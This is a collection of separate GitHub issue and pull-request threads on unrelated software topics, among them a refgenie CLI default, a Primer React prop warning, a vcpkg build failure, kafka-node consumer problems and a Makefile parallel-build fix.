is this related to pending changes in the genome_servers attribute?

It has always worked like that... I'm just copying code from a tutorial

Will need to update the schema to accommodate single strings as well

I also didn't pass that string. it didn't come from my command.

it's coming from the default to -s in refgenie init, which is a string.  it's hard to pass an array on the CLI, btw

Interesting... this works:
refgenie init -c config/refgenie_config2.yaml -f $GENOMES -u http://awspds.refgenie.databio.org/refgenomes.databio.org/ -a $GENOMES/archive -b refgenie_config_archive.yaml -s http://refgenomes.databio.org

This doesnT:
refgenie init -c config/refgenie_config2.yaml -f $GENOMES -u http://awspds.refgenie.databio.org/refgenomes.databio.org/ -a $GENOMES/archive -b refgenie_config_archive.yaml

Yes, forcing users to pass an array in every case is not the solution here. The schema has to accept both classes.

But passing a string on the CLI actually worked. it's just something to do with the default argparser that breaks it.

Just ran the exact command you pasted and it worked fine:
~ refgenie init -c config/refgenie_config.yaml -f $GENOMES -u http://awspds.refgenie.databio.org/refgenomes.databio.org/ -a $GENOMES/archive -b refgenie_config_archive.yaml

Initialized genome configuration file: /Users/mstolarczyk/Desktop/testing/refgenie/config/refgenie_config.yaml
Created directories:
 - /Users/mstolarczyk/code/genomes/data
 - /Users/mstolarczyk/code/genomes/alias

The argparser's default looks correct, too:
    sps[INIT_CMD].add_argument(
        "-s",
        "--genome-server",
        nargs="+",
        default=[DEFAULT_SERVER],
        help=f"URL(s) to use for the {CFG_SERVERS_KEY} attribute in config file. Default: {DEFAULT_SERVER}.",
    )

it's an array of strings
I'm using current dev versions of refgnie and refgenconf

Ok I'll double-check. I was using dev refgenconf but it may have been a few commits old.


Dismiss keyboard when dragging the search result list

Keyboard may hinder the user to select the last result in the search result list in the case where the list is very long. We may just dismiss the keyboard when the user drag the list, as when the user tap on the search bar the keyboard will show up again automatically.

Looks good to me, thanks for the PR!


way to overwrite/delete/list db keys?

Is there anyway to overwrite, list, or delete keys via GET or POST? I'm guessing not since you don't support authentication but I thought I'd check anyway. (Disclaimer: I have no background in ruby or web stuff) It would be great not to have to fire up a redis cli and poke around that way.

Yes for deleting keys, but not for listing keys. There are adapters for a variety of systems, with their own behaviors and drawbacks when listing keys. If you're thinking about this, I'd highly recommend going with the activerecord or sequel adapters, and using postgres or mysql. git.io currently runs on Heroku with Postgres. It handles the volume of data just fine, and of course postgres has great query capabilities.
Also keep in mind that this library is not under active development, unfortunately. You're of course welcome to use/fork the library, but don't count on an active community to answer questions or fix bugs.

awesome thanks for your help!


typo fix: PointForeround -> PointForeground, other fixes

Summary
We are getting ready to use the library for a medium-sized project so as part of research for its use I ran through a few of the examples.
I noticed when looking through the examples that the property PointForeround was exposed. Since that was a typo, I chose to fix it. I realize that this will probably break some existing code that is working around the typo, but it may be worth the cost in the long run.
Additionally, the UWP "zooming and panning" example did not build on my machine; there were XAML errors from the use of x:Static (which is no longer supported in UWP). I tried a few things to get a binding to work but in the end just removed the Separator directive on that axis.
I also fixed typos in the Winforms "zooming and panning" example because it was named "Zoming" and the converter the WPF example used for axis option definition was named "ZoomingModeCoverter."
When testing the "zooming and panning" example, I encountered a bug because of the OnPropertyChanged method not getting the name of the property that was changed. I updated that so that part of it no longer crashes, although the example still seems to have some tooltip-related crashes on my machine. I'm not familiar enough with UWP to track these down at the moment.
Thanks for the great library! I am looking forward to using it.
Solves
No reported issues that I could tell.

I am sorry for this, you are right it is worth the fix even it brakes for some usres, I just fixed it in the develop branch

I am closing this, sorry for this, please notice this change was already in the develop branch.
Totally my bad 😟


Add simple macOS and Linux install command

fixes #26

My own command might rely on a "bash-ism" by using $_ -- so don't at me. soz. This is a suggested improvement ready for comment and review.


Active class name applied, even when react-router doesn't support it

Describe the bug
A clear and concise description of what the bug is.
Note: As this is a public repo, please be careful not to include details or screenshots from unreleased GitHub products or features. In most cases, a good bug report should be able to describe the new component without including business logic or feature details, but if you must discuss context relating to an unreleased feature, please open an issue in the private Design Systems repo and link to it here.
When using React Router links, with Primer components, primer tries to forward an activeClassName, as was exposed in the v5 and lower apis. React router v6 no longer supports this classname, so it gets dropped onto the dom, and causes the console warning in dev Warning: React does not recognize the activeClassNameprop on a DOM element. If you intentionally want it to appear in the DOM as a custom attribute, spell it as lowercaseactiveclassname instead. If you accidentally passed it from a parent component, remove it from the DOM element.
A workaround, also in the sandbox, exists, by manually filtering it, but that's a bit annoying
import "./styles.css";
import { TabNav } from "@primer/react";
import { BrowserRouter, Link } from "react-router-dom";

const FilteredActiveClassName = ({ activeClassName, ...props }) => {
  return <Link {...props} />;
};
export default function App() {
  return (
    <BrowserRouter>

        <TabNav>
          <TabNav.Link as={Link} to="/">
            No filtering of prop
          </TabNav.Link>
          <TabNav.Link as={FilteredActiveClassName} to="/">
            Filtered dom prop
          </TabNav.Link>
        </TabNav>

Start editing to see some magic happen!

    </BrowserRouter>
  );
}

        No filtering of prop

        Filtered dom prop

To Reproduce
I built a small sandbox for this, related to tab nav, but it seems other components like sidenav do similar
https://codesandbox.io/s/still-https-5p2wb?file=/src/App.js
Expected behavior
activeClassName is not passed if not necessary (or not included on the as={} component)
Screenshots
If applicable, add screenshots to help explain your problem.

Desktop (please complete the following information):

OS: [e.g. iOS]
Browser [e.g. chrome, safari]
Version [e.g. 22]

Smartphone (please complete the following information):

Device: [e.g. iPhone6]
OS: [e.g. iOS8.1]
Browser [e.g. stock browser, safari]
Version [e.g. 22]

Additional context
Add any other context about the problem here.

Ouch! Thanks for reporting this, marked this as a bug and added it to project for the team to pick up.

We think it would be sensible to remove the dependency on react-router from Primer altogether. Would you agree @mattcosta7? If so, activeClassName setting would be removed during that process. This would usually force a breaking change in the library, so in the interim could you apply the prop filtering client-side as the workaround?

import { BrowserRouter, Link } from "react-router-dom";

In v5 of react-router, using NavLink instead of Link should stop that error from occurring too.

Yes! I definitely agree it makes sense to remove this entirely - it seems weird for primer to handle this, instead of having users define their own.
we already use the workaround, so no issue from us at all!

A person can create a new  component with the v5 props described here as another option.

This is still happening. Anyone know of a workaround? The workaround specified does not work with SubNav.

Using NavLink instead of Link should work for SubNav as well. https://primer.style/react/SubNav

https://github.com/primer/react/pull/3319 fixes


[azure-kinect-sensor-sdk] build failure

Host Environment

OS: Windows 11 Pro Insider Preview, Build 22463.rs_prerelease.210917-1503
Compiler: Visual Studio 16 2019

To Reproduce
Steps to reproduce the behavior:
./vcpkg install azure-kinect-sensor-sdk
Failure logs
-Cut and past the appropriate build messages from the console output.
vcpkg.exe install azure-kinect-sensor-sdk
Computing installation plan...
The following packages will be built and installed:

azure-c-shared-utility[core]:x64-windows -> 2021-09-09
azure-kinect-sensor-sdk[core]:x64-windows -> 1.4.1#3
cjson[core]:x64-windows -> 1.7.15
ebml[core]:x64-windows -> 1.4.0#1
fmt[core]:x64-windows -> 8.0.1
gtest[core]:x64-windows -> 1.11.0
imgui[core]:x64-windows -> 1.84.2#1
libsoundio[core]:x64-windows -> 2.0.0#4
libusb[core]:x64-windows -> 1.0.24#5
libyuv[core]:x64-windows -> 2021-04-15
matroska[core]:x64-windows -> 1.6.2#1
spdlog[core]:x64-windows -> 1.9.2
Additional packages (*) will be modified to complete this operation.
Detecting compiler hash for triplet x64-windows...
Restored 0 packages from C:\Users\38325\AppData\Local\vcpkg\archives in 289.4 us. Use --debug to see more details.
Starting package 1/12: azure-c-shared-utility:x64-windows
Building package azure-c-shared-utility[core]:x64-windows...
-- Note: azure-c-shared-utility only supports static library linkage. Building static library.
-- Downloading https://github.com/Azure/azure-c-shared-utility/archive/73a2039cc0de5ececf5755ebe731a6b5b98f85da.tar.gz -> Azure-azure-c-shared-utility-73a2039cc0de5ececf5755ebe731a6b5b98f85da.tar.gz...
-- Cleaning sources at D:/Source/vcpkg/buildtrees/azure-c-shared-utility/src/b5b98f85da-3f78b77ba2.clean. Use --editable to skip cleaning for the packages you specify.
-- Extracting source D:/Source/vcpkg/downloads/Azure-azure-c-shared-utility-73a2039cc0de5ececf5755ebe731a6b5b98f85da.tar.gz
-- Applying patch fix-utilityFunctions-conditions.patch
-- Applying patch disable-error.patch
-- Using source at D:/Source/vcpkg/buildtrees/azure-c-shared-utility/src/b5b98f85da-3f78b77ba2.clean
-- Configuring x64-windows
-- Building x64-windows-rel
CMake Error at scripts/cmake/vcpkg_execute_build_process.cmake:155 (message):
Command failed: D:/Source/vcpkg/downloads/tools/cmake-3.21.1-windows/cmake-3.21.1-windows-i386/bin/cmake.exe --build . --config Release --target install -- -v -j17
Working Directory: D:/Source/vcpkg/buildtrees/azure-c-shared-utility/x64-windows-rel
See logs for more information:
D:\Source\vcpkg\buildtrees\azure-c-shared-utility\install-x64-windows-rel-out.log

Call Stack (most recent call first):
scripts/cmake/vcpkg_build_cmake.cmake:104 (vcpkg_execute_build_process)
scripts/cmake/vcpkg_install_cmake.cmake:44 (vcpkg_build_cmake)
ports/azure-c-shared-utility/portfile.cmake:39 (vcpkg_install_cmake)
scripts/ports.cmake:140 (include)
Error: Building package azure-c-shared-utility:x64-windows failed with: BUILD_FAILED
Please ensure you're using the latest portfiles with .\vcpkg update, then
submit an issue at https://github.com/Microsoft/vcpkg/issues including:
Package: azure-c-shared-utility:x64-windows
Vcpkg version: 2021-09-10-2059ef11aa6067e6f59b0d939c5d17e3c5c47d3e
Additionally, attach any relevant sections from the log files above.
-Please attach any additional failure logs mentioned in the console output.
install-x64-windows-rel-out.log

@cgnerds , I can't repro this issue locally, you may need get latest source and rebuild azure-kinect-sensor-sdk?

Closing this issue for no active thread for a long time. Please feel free to reopen this issue if it is still a problem for you.


Update NEWS.txt, NOTICE.txt, roadrunner.conf

The NEWS.txt is very out of data. I would just delete this from the repo.
The NOTICE.txt is also very outdated and should be updated to reflect the current dependencies and licenses.
roadrunner.conf: ? no idea for what this file is. Please remove if not needed any more

@kirichoi Changes look good, and merged.
Anybody knows what the roadrunner.conf is good for? Are we using this for anything, like in the packaged versions?
Otherwise this issue can be closed.

Closing this. Everything updated.


Can't create new account when already logged in before

If I already used ZITADEL before (and with that have some login profiles already set), I can't get to the register form via website or direct URL (zitadel.cloud). I always land on the login form with no link to register new.

-> Solution: Have a 'Register' Link/Button (I suggest a tertiary, similar to 'Login here' on register page) on the Login Page at all times.

@juergrinaldi unfortunately this is not possible right now. The login page is hosted by ZITADEL and we can not include "custome" buttons on it.
We have 2 options when open the url zitadel.cloud

Show the ZITADEL Cloud Register"
If user already has some sessions show login/directly loged in to customer portal

@livio-a @fforootd what do you think about this?
In my opinion this is ok right now. So we show directly the login. Because most users will not have multiple customer portal users.
4.

@hifabienne not sure if I understand that right ( 🙈 ) but I didn't mean a custom button. Just a "global" button that leads to the register form.
And I don't think it's okay the way it is. I understand that this usecase isn't hitting most of our customers and we don't have to optimize for this case, but since it's pretty much a user-flow breaking issue, I think we should provide a solution so users don't get 'stuck'.

From the ZITADEL perspective this would be a custom button. We are using our own system (login) for this. Which doesn't allow us to just include other buttons or elements. This is something we want to include in the future with the custom templates but at the moment not possible.

@hifabienne i've just discussed with @juergrinaldi... we might have to do something like a custom button in the future, but first of all we need to wait for the implementation of handling multiple sessions in the customer portal anyway. @peintnermax  whats the status on this?

going to be merged.. https://github.com/caos/customer-portal/pull/384

@livio-a @peintnermax can we close this issue? I believe we would need to handle this when we are able to build own login own login ui?


Logos svg format

I think it could be nice to have svg version of the logos. It's very usefull especially when you want to print stuff like, t-shirt, hoodie, stickers, etc.

Agreed. We have the code to show them, just no SVG files yet. Would you be able to convert any of the logos into high quality SVG vectors?

I could basically convert them with imagemagick, but I'm not able to cleanly convert them in svg with illustrator and inkscape..

Can you upload the imagemagick conversion so I can see their quality please?

boat.svg : https://share.riseup.net/#cJPgVpJUBUVPqz3PBQU_Iw
bulb-and-bones.svg : https://share.riseup.net/#TJaCK2br-faxHQtgQHyQkA
bullet.svg : https://share.riseup.net/#YfzVaReVlNO901Rqidq0uA
hand.svg : https://share.riseup.net/#6dGETCmoLZXVQf9MOg65Ng
pfmag.svg : https://share.riseup.net/#5HWkPYbRMaK3lRlQ19mHPA
wrench.svg : https://share.riseup.net/#okI1kL2YdsCRXKbAUUvJWg

@just1602 Thanks!
Updated the Tools : Logos page.
https://crimethinc.com/logos

@just1602 Also, feel free to stick around. If there are any other issues that seem like they're in your wheelhouse, go for it! We can always use more help.


Batch feed transactions to minimise “Gas fee”

Superbatching can be an effective method for lowering gas fees by combining multiple transactions into one, which reduces the overall gas cost.

In early 2021, a new Ethereum Improvement Protocol (EIP) proposal was adopted by the Ethereum blockchain known as EIP-3074 that was set to be implemented in July of the same year.
The proposal was put forward in October 2020 and gained substantial backing. While this proposal wasn't solely designed to lower gas fees through batch transactions, it did open the door to users who wanted to achieve this perk. Ethereum stated that EIP-3074 came as a result of users making requests for "implementing batching capabilities, allowing for gas sponsoring, expirations, scripting, and beyond."

Source: https://www.makeuseof.com/how-batch-ethereum-transactions-cheaper-gas-fees/

https://eips.ethereum.org/EIPS/eip-3074


It just doesn't work

I wanted to make a list of the things that are not working but the list is really too long.
Worst thing is that  I wrote a consumer and it worked great. I stopped for several minutes and without modifying anything else it just stopped working. Not retrieving any messages. And then one day it suddenly works again. So sometimes it works and sometimes it doesn't.
Just out of curiosity I wrote another consumer in Python to see if works when the node doesn't. And well, it does... I am not a big fan of Python but I guess I have no choice
Even when it consumed messages I ran Kafka command to see if it actually consumed it:
bin/kafka-run-class.sh kafka.tools.ConsumerOffsetChecker --zookeeper kafka-prod-1:2181  --topic fenout-test-prod --group kafka-node-group
And it showed me like it didn't produce it at all.
Pid Offset          logSize         Lag             Owner
kafka-node-group fenout-test-prod               0   140             917             777             none
kafka-node-group fenout-test-prod               1   141             918             777             none
kafka-node-group fenout-test-prod               2   141             918             777             none
kafka-node-group fenout-test-prod               3   140             918             778             none
kafka-node-group fenout-test-prod               4   140             918             778             none
kafka-node-group fenout-test-prod               5   140             918             778             none
kafka-node-group fenout-test-prod               6   140             918             778             none
kafka-node-group fenout-test-prod               7   140             918             778             none
kafka-node-group fenout-test-prod               8   140             917             777             none
kafka-node-group fenout-test-prod               9   140             917             777             none
I ran the producer again to read thousands messages and got the same result.
Pid Offset          logSize         Lag             Owner
kafka-node-group fenout-test-prod               0   140             917             777             none
kafka-node-group fenout-test-prod               1   141             918             777             none
kafka-node-group fenout-test-prod               2   141             918             777             none
kafka-node-group fenout-test-prod               3   140             918             778             none
kafka-node-group fenout-test-prod               4   140             918             778             none
kafka-node-group fenout-test-prod               5   140             918             778             none
kafka-node-group fenout-test-prod               6   140             918             778             none
kafka-node-group fenout-test-prod               7   140             918             778             none
kafka-node-group fenout-test-prod               8   140             917             777             none
kafka-node-group fenout-test-prod               9   140             917             777             none
And my autocommit is true.
Is this a production tested driver?

We have been using this in production for about 18 months at my company. If it has been "production tested," it certainly shouldn't have passed. We have had nothing but problems - some similar to those you describe, and some of our own (the latest is seemingly unprompted offset resets, causing our processors to requeue tens of thousands of messages - just like we wanted).
I'd go with the Python of Java drivers if I were you. Unfortunately for me, I'm shackled to the thing right now, but we are trying to get off of it as soon as possible.

I was just about to create a similar issue when I encountered this one. Moreover, it looks like there is no robust and complete nodejs kafka client implementation at the moment. I ended up using https://github.com/LivePersonInc/kafka-java-bridge for a HighLevelConsumer and this library for a Producer.


Q: Control FileOpenPicker with appium?

How can I handle a FileDialog in appium for a C# UWP app?
In my case, the user clicks on a button and the FileOpenPicker prompts, and the user has to select one or more files. How can I handle this FileOpenPicker in a appium UnitTest?
var ButtonPlusElement = AppSession.FindElementByAccessibilityId("ButtonFilePicker");
Assert.IsNotNull(ButtonPlusElement);
_ButtonFilePicker = ButtonPlusElement;
_ButtonFilePicker.Click(); // FileOpenPicker appears
//how set the selected file of the FilePicker?

Any help appreciated. Thanks.

Try AutoIT

Hi @mfe-,
You will have to query for the new UI Elements in the File Picker, either using Inspect.exe or the UI Recorder tool  and then interact with it.
Let us know if you're not able to find the right attributes for the element.
Thanks

@hassanuz Thanks. Will try.

Hi @mfe-... were you successful in trying out the above


Makefile.in: fix occasional parallel build failures around bison rule

Without the change make -j16 --shuffle occasinally fails to build as:
$ make -j16 --shuffle
...
bison -y -d -o util/configparser.c ./util/configparser.y
...
/libtool --tag=CC --mode=compile gcc -I.  -I...-openssl-3.3.2-dev/include -I...-libevent-2.1.12-dev/include -I...-expat-2.6.3-dev/include -DSRCDIR=. -g -O2 -flto -fPIE -pthread  -o configparser.lo -c util/configparser.c
...
util/configparser.c:755:3: error: expected ',' or '}' at end of input
755 |   YYSYMBOL_server_low_rtt = 626,           /* server_low_rtt  */
    |   ^

The build failure happens due to this Makefile.in rule:
util/configparser.c util/configparser.h:  $(srcdir)/util/configparser.y
    @-if test ! -d util; then $(INSTALL) -d util; fi
    $(YACC) -d -o util/configparser.c $(srcdir)/util/configparser.y

For GNU make that means that each of the targets will attempt the rule execution when the file is missing: one for .c file and another for .h file:
https://www.gnu.org/software/make/manual/html_node/Multiple-Targets.html

The workaround is to only run $(YACC) for .c target and use .c as a pre-requisite for an .h file.
Before the change the build fails about every 10-th run. After the change no build failures after 100 successful builds.

The same issue is fixed with a similar fix, for NSD, in https://github.com/NLnetLabs/nsd/commit/c2f82f409018d6c8c5757ed14698f25ad4b4f9ac . It had a similar problem, so it could be fixed there too.


EU Control Plane support

Hello,
Was browsing a bit through the documentation and it is not clear to me if the Ansible collection supports CDP tenants in the EU Control Plane. We are now provisioning two new tenants in the EU Control Plane and would like to start provisioning stuff. Maybe I missed it in the docs. Will go meanwhile through the code :).
@wmudge  @Chaffelson

Cdpy offers a cp_region property to set the region from 'default' to one of the others, like EU. The user must supply the exact string for the region name that is then used in the URI construction, for example, the CDPCLI resolves 'default' to us-west-1 and constructs us-west-1.cdp.cloudera.com from that.
The Ansible Collection doesn't yet expose this to the user, it would end up in the module utils here.
We would also need to update documentation and perhaps variables where 'region' is used to provide a cloud infrastructure region, but may be easily confused with a CDP Control Plane region.

Many many thanks for the quick answer. Was looking at the CDP CP URL and in the Frankfurt EU region it is eu-1.cdp.cloudera.com, so I guess this is what should end up in the code.
Regarding the code changes, I see two ways:

The (I guess) proper one: adding the parameter to each Ansible module and then calling the CdpSdkBase class with the cp_region parameter pre-filled with the value from the Ansible module param.
The quick-and-dirty-way: go with an environment variable that would (if defined) override the  cp_region in the function you showed. This has also the advantage that one can use the same code for provisioning in any Control Plane (a feature we will actually need until we migrate to the EU CP). Since I am going on holidays end of this week :), I will try to implement it this way for now.

nah, what I mean is there's an option 3. where you add cp_region to the CdpModule class in the module_utils I linked above - all the collection modules use that as a base class and therefore those options are automatically available to all the child modules.
It should default to the US control plane, and the documentation should make it clear how to derive the string to supply to it - but then it's just coded in one place and can be reused everywhere per python DRY principals.
If we then add that as an environment variable export in cloudera-deploy, much like the other overrides, then you could set a cp_region in your definition.yml and it would be propagated for you. You could also do it within your own environment variables as you suggest, but this would be consistent with other similar top level controls.

Indeed, I did not read properly your first reply and dismissed initially the utils module since it was (still is :) ) a bit unclear for me how the parameters are built due to the inheritance process. My initial expectation was that the parameters are in one place module wise, but it is not like that as you pointed out. Anyway, I was chatting to a colleague of mine about this and he is working a bit on the code. We will try to follow your recommendation to implement it and, if we get it to work, try to do a MR.
Many thanks for the help !

Hey @nmarian85
cc) @Chaffelson
Just to note that the cdp_region variable has been added to cloudera-deploy and exe previously. This allows deployment to different control plane regions when using cloudera-deploy. This is mainly used in exe to set the ARN prefix for CDP roles and doesn't touch cloudera.cloud.
Relevant PRs were:

https://github.com/cloudera-labs/cloudera-deploy/pull/78
https://github.com/cloudera-labs/cloudera.exe/pull/91


Initial setup

@darwinlopez please get into the habit of adding a description to a PR. Here, a summary of what you've done would have been best.
How are you planning to load the components into rbx_ui?